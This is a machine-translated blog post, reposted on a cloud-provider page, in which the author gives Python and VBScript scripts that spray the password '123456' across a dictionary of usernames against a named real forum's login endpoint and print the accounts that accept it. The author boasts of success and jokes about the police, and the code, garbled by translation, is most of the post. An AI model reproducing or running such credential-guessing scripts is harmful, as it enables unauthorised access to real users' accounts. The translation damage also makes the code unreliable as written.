Python his experiment code blasting _python

Source: Internet
Author: User
Do you really want me to crack one? Forget it, just try my python level.
Python version
Copy Code code as follows:

#coding: GBK
Import Httplib, Urllib

def Check (username, password):
params = Urllib.urlencode (
{' UserID ': username, ' passwd ': password})
headers = {"Content-type":
"Application/x-www-form-urlencoded"}
conn = Httplib. Httpsconnection ("Www.bdwm.net")
Conn.request ("POST",
"/bbs/bbslog2.php", params, headers)
res = Conn.getresponse (). Read ()
Conn.close ()
If Res.find ("Incorrect password")!=-1:
Return False
Elif Res.find ("No This user exists")!=-1:
Return False
Else
Return True

For I in open ("English.dic"):
If Check (I.rstrip (), "123456"):
Print I

By the way also wrote a VBS version, feeling like a VBS faster, feel the problem?
Copy Code code as follows:

Dim FSO
Set fso = CreateObject ("Scripting.FileSystemObject")
With FSO. OpenTextFile ("English.dic", 1)
Do Until. AtEndOfStream
id =. ReadLine
If Check (ID, "123456") Then
WScript.Echo ID & vbTab & "OK"
End If
Loop
End With

Function Check (Username,password)
Dim http
Set http = CreateObject ("Msxml2.xmlhttp")
Http.open _
"POST", "https://www.bdwm.net/bbs/bbslog2.php", False
Http.setrequestheader _
"Content-type", "application/x-www-form-urlencoded"
Http.send "userid=" & username & "&passwd=" & Password
Response = Ansitounicode (http.responsebody)
If InStr (response, "Incorrect password") Then
Check = False
ElseIf InStr (Response, "There is no this user") Then
Check = False
Else
Check = True
End If
End Function

Function Ansitounicode (str)
Dim ADO
Set ado = CreateObject ("ADODB.stream")
Ado. Type = 1
Ado. Open
Ado. Write Str
Ado. Position = 0
Ado. Type = 2
Ado. Charset = "gb2312"
Ansitounicode = ADO. ReadText
End Function

It turns out that 123456 is really an invincible password. I wish there were no policemen knocking at night.
Original: http://demon.tw/programming/python-a-little-trial.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.